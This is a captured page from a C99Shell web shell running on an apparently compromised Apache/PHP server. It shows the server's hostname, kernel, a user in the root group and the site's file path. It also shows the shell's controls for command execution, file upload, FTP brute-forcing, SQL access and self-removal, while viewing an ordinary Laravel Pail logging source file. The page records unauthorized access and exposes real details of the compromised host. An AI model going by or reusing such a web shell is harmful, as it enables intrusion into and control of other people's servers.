!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/pail/src/   drwxr-xr-x
Free 28.41 GB of 117.98 GB (24.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Handler.php (4.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Pail;

use 
Illuminate\Console\Events\CommandStarting;
use 
Illuminate\Contracts\Container\Container;
use 
Illuminate\Foundation\Auth\User;
use 
Illuminate\Log\Context\Repository as ContextRepository;
use 
Illuminate\Log\Events\MessageLogged;
use 
Illuminate\Queue\Events\JobExceptionOccurred;
use 
Illuminate\Queue\Events\JobProcessing;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Str;
use 
Psr\Log\LogLevel;
use 
Throwable;

class 
Handler
{
    
/**
     * The last lifecycle captured event.
     */
    
protected CommandStarting|JobProcessing|JobExceptionOccurred|null $lastLifecycleEvent null;

    
/**
     * The artisan command being executed, if any.
     */
    
protected ?string $artisanCommand null;

    
/**
     * Creates a new instance of the handler.
     */
    
public function __construct(
        protected 
Container $container,
        protected 
Files $files,
        protected 
bool $runningInConsole,
    ) {
        
//
    
}

    
/**
     * Reports the given message logged.
     */
    
public function log(MessageLogged $messageLogged): void
    
{
        
$files $this->files->all();

        if (
$files->isEmpty()) {
            return;
        }

        if (
            
$messageLogged->level === LogLevel::WARNING
            
&& Str::contains($messageLogged->message, ['deprecated''Deprecated''[\ReturnTypeWillChange]'])
        ) {
            return;
        }

        
$context $this->context($messageLogged);

        
$files->each(
            fn (
File $file) => $file->log(
                
$messageLogged->level,
                
$messageLogged->message,
                
$context,
            ),
        );
    }

    
/**
     * Sets the last application lifecycle event.
     */
    
public function setLastLifecycleEvent(CommandStarting|JobProcessing|JobExceptionOccurred|null $event): void
    
{
        if (
$event instanceof CommandStarting) {
            
$this->artisanCommand $event->command;
        }

        
$this->lastLifecycleEvent $event;
    }

    
/**
     * Builds the context array.
     *
     * @return array<string, mixed>
     */
    
protected function context(MessageLogged $messageLogged): array
    {
        
$context = ['__pail' => ['origin' => match (true) {
            
$this->artisanCommand && $this->lastLifecycleEvent && in_array($this->lastLifecycleEvent::class, [JobProcessing::class, JobExceptionOccurred::class]) => [
                
'type' => 'queue',
                
'command' => $this->artisanCommand,
                
'queue' => $this->lastLifecycleEvent->job->getQueue(),
                
'job' => $this->lastLifecycleEvent->job->resolveName(),
            ],
            
$this->runningInConsole => [
                
'type' => 'console',
                
'command' => $this->artisanCommand,
            ],
            default => [
                
'type' => 'http',
                
'method' => request()->method(),
                
'path' => request()->path(),
                
'auth_id' => Auth::id(),
                
'auth_email' => Auth::user() instanceof User Auth::user()->email null// @phpstan-ignore property.notFound
            
],
        }]];

        if (isset(
$messageLogged->context['exception']) && $this->lastLifecycleEvent instanceof JobExceptionOccurred) {
            if (
$messageLogged->context['exception'] === $this->lastLifecycleEvent->exception) {
                
$this->setLastLifecycleEvent(null);
            }
        }

        
$context['__pail']['origin']['trace'] = isset($messageLogged->context['exception'])
            && 
$messageLogged->context['exception'] instanceof Throwable collect($messageLogged->context['exception']->getTrace())
                ->
filter(fn (array $frame) => isset($frame['file']))
                ->
map(fn (array $frame) => [
                    
'file' => $frame['file'], // @phpstan-ignore offsetAccess.notFound
                    
'line' => $frame['line'] ?? null,
                ])->
values()
            : 
null;

        return 
collect($messageLogged->context)
            ->
merge($context)
            ->
when($this->container->bound(ContextRepository::class), function (Collection $context) {
                return 
$context->merge($this->container->make(ContextRepository::class)->all());
            })->
toArray();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--